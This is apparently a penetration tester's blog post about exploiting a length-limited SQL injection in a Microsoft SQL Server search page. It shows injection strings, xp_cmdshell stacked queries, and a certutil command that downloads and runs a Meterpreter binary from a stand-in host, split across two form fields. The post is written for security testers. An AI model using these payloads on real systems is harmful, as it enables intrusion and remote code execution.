Back
Limited Length SQL Injection
During application testing, most SQL injection attacks are mundane. Often, when there is one SQL injection, there are many–and they are easily exploitable with tools like sqlmap. Occasionally, an application is largely protected against SQL injection, but something interesting happens on a test.
A tester manually validates a SQL injection vulnerability based on server responses, knows the database, sqlmap supports the database–but sqlmap fails. Even manual exploitation begins to elicit error messages, but only on certain payloads. In this case, there may be a limited-length SQL injection. Due to developer-imposed constraints, requests may be truncated or simply fail as soon as a field length exceeds a certain parameter length. While there are commonly-known ways to bridge fields using comments, some restrictions exist as to where comments are allowed in a SQL query.
This blog entry covers an SQL injection vulnerability and how length restrictions were bypassed to execute arbitrary operating system commands.
How the Vulnerability was Discovered
The vulnerability discovery was straightforward. Although most of the application did not have SQL injection vulnerabilities, the advanced search page is always a great place to look. Even organizations that have mandates for parameterized queries or stored procedures may still have advanced search pages that are vulnerable to SQL injection. Advanced search pages often are forced to use dynamic SQL. Users can search on one or several fields at a time, and developers do not write separate statements for all possible input combinations. This scenario results in a series of conditional statements in the code where developers check “did the user provide input for this field? If yes, add it to the where clause of the SQL statement. If no, continue to the next field.” Since user input may be used in the construction of a large text string, the application may be at risk for SQL injection if developers do not properly parameterize their query.
In a reproduction of the vulnerable application, a normal request returned a single database row:
The traditional ‘ or 1=1;– returned two rows:
Exploiting the Vulnerability
At this point, it was clear the site was vulnerable to SQL injection. Initially, sqlmap looked like a quick way to exploit the vulnerability:
Unfortunately, sqlmap could not quite finish the vulnerability off:
Using Wireshark to diagnose the issue, we can see the following request:
Fortunately, the application developers were kind enough to help out by returning verbose error messages:
In a browser, this is how the error message appeared:
This message indicated the error may have been due to field truncation after some unknown length. Since the application was written in .NET, sqlmap indicated Microsoft SQL Server, and error messages indicated Microsoft SQL Server, stacked queries should work. Stacked queries involve using a semicolon to delimit the query into two separate SQL queries. Since the initial SQL query for a first name search probably looked like this:
SELECT * FROM USERS WHERE FIRSTNAME LIKE ‘%INPUT%’
then a string such as
'; select 'a';--
resulted in a query that looked like this:
SELECT * FROM USERS WHERE FIRSTNAME LIKE ‘%’; select ‘a’;--%
By sending progressively longer strings using the Burp Intruder tool, we found that the SQL query began returning errors at 50 characters with the string:
'; select 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';--
not returning an error, but adding a single ‘a’ character, which began causing error messages.
What Causes Length Limitation on SQL Injection?
The first reason a field may be length-limited is due to developer restrictions in server-side code (client-side restrictions are not covered since these are easily bypassed using a web proxy). Regular expression validation or strict whitelisting of input is a better option than a simple length limitation, but those methods often prevent SQL injection entirely. Therefore, it was unlikely that either of these validation techniques was in use on the vulnerable application. The following code implements a length restriction in simple .NET code:
In this code snippet, the error message is set to a developer-assigned string, not a full stack trace. Even if the developer threw a .NET error, it would not contain references to the System.Data.SqlClient.SqlCommand library.
The second option was dynamic SQL generated in a stored procedure. Consider the following stored procedure declaration:
With a stored procedure, the parameters are validated before any database commands are run. The @LastName, @FirstName, and @ssn parameters all have length restrictions. If the stored procedure did not assemble dynamic SQL, then it would probably not be vulnerable to SQL injection. However, this stored procedure does not safely pass the parameters to the SQL query:
At the end of the stored procedure, the query runs using sp_executesql:
The database had no way to separate the developer’s SQL from the user input; resulting in SQL injection within the stored procedure. The length of user input was restricted for each field because of the parameter casts at the beginning of the stored procedure.
Bridging Fields to Increase Length
With the mystery of length restrictions solved, the next step was to bridge multiple fields together to increase the amount of space available for exploits. A common method for this step is to use delimited comments with the /* and */ characters. Consider the text of our dynamic SQL from the stored procedure:
SELECT * from dbo.users WHERE firstname like ‘%%’ and lastname like ‘%%’
Both the @FirstName and @LastName field had a length restriction of 50 characters. Including /* and */ will create a comment in the middle of the SQL query. Even though four characters are lost in order to create the comment, there are now 96 usable characters instead of 50. With the comment, the SQL query looked as follows:
SELECT * from dbo.users WHERE firstname like ‘%/*%’ and lastname like ‘%*/%’
With the increased length restrictions, union-based or stacked SQL queries are now far more achievable. After retrieving database tables, a further step is to attempt code execution on the database server using xp_cmdshell. It was possible to run some operating system commands with xp_cmdshell even with a 50 character restriction. Providing a first name of the string:
'; exec xp_cmdshell 'ping 127.0.0.1';--
Then sent a stacked query to the database with the following form:
SELECT * from dbo.users WHERE firstname like ‘%'; exec xp_cmdshell 'ping 127.0.0.1';--%’
This action returned all rows in the user’s table and used xp_cmdshell to send 4 ping packets from the database server to itself. The server delayed a response while waiting for the ping to complete, letting the sender know that xp_cmdshell was enabled and it was possible to run arbitrary operating system commands. When trying to ping a longer address, such as a Burp Collaborator URL, the command fails. Arguments to xp_cmdshell are not treated the same way as normal strings in Microsoft SQL Server. In this case, the optimal use of space would be a comment after the xp_cmdshell function, but before the operating system command. This action allows a maximum command length of 45 characters.
Avoid Command Length Limits
The issue of limited command length in SQL injection is similar to the issue experienced with many overflow exploits. Only a short space is available for a payload before the system becomes unstable and the exploit fails or results in a denial of service instead of code execution. One solution with overflow exploits is to use an egg hunter. The premise of an egg hunter is to place the full payload in a different location where more space is available. Then, at the actual exploit position, provide only a small piece of code that can search memory for the full payload and then execute it. Searching the entire database for a payload like an egghunter does with memory may not be feasible with SQL injection, but is not necessary. Applications often disclose the primary key of a table, or a row can be located by searching for specific information in the payload. Even where this information is not readily visible, it can be extracted manually using the SQL injection vulnerability. In the example application, the note edit page had a query string parameter called “noteId” that directly referenced a note by its primary key value.
Even in applications that limit fields like first and last name, there are often other fields that do not have such stringent limitations. Fields that serve as “notes,” “comments,” or “log” rarely have tight length restrictions. In this application, the notes field accepted up to 2,000 characters. This allowance provides more than enough space to include some significant payloads. The certutil command can download a binary, which can be run in a second command. The following is the operating system command that will download a Meterpreter binary and run it:
certutil -urlcache -split -f http://c.local/m m.exe & m.exe
After creating a note with the operating system commands stored inside, all that remains is to read this value out and execute it. The SQL for this procedure is relatively simple:
declare @a VARCHAR(8000);
select @a = text from notes where noteId = 5;
exec xp_cmdshell @a;--
The first line creates a variable named ‘a’ with a length of 8,000 characters. The second line fills the ‘a’ variable with the text field from the note with an ID of 5. The third line executes the text contained in the variable as an operating system command. The first and third lines can remain unchanged across systems. The second line needs to change based on where the individual note is. If space is a great concern, it is possible to omit the where clause from the second line. The database server will attempt to execute every note as an operating system command. Even if some requests are invalid operating system commands, the database server will continue to try all other rows.
These three SQL statements must be stacked together, since the ‘a’ variable will not persist through multiple requests. However, this query is far simpler to split than the single, unbreakable command line passed as string object. Each element can be separated with the /* */ characters, including VARCHAR/**/(8000). The longest element that cannot be broken with comments is xp_cmdshell at 11 characters. Since not all 8,000 characters are necessary to execute the certutil payload, the following request will run the certutil command added earlier:
First Name: ';declare @a VARCHAR(8000);select @a=text from/*
Last Name: */ notes where noteId=5;exec xp_cmdshell @a;--
The first name field takes only 48 characters and the last name field takes 45. By omitting the where clause, the attack executes with only 30 characters in the last name field and declaring the variable as a VARCHAR(999) reduces the first name character count by 1, but restricts the attack to only 1,000 characters.
Summary
Automated tools are fantastic for exploiting the majority of SQL injection vulnerabilities. However, some circumstances require a more tailored approach. Developers may intentionally or unintentionally place restrictions on the length of payloads on a SQL injection vulnerability.
Stored procedures that execute dynamically-generated SQL are one example of when length restrictions might appear in a request that is vulnerable to SQL injection. By writing operating system command payloads to other database fields, loading the database field into a variable, and running it with xp_cmdshell, security testers can minimize the impact of these restrictions.
03.21.19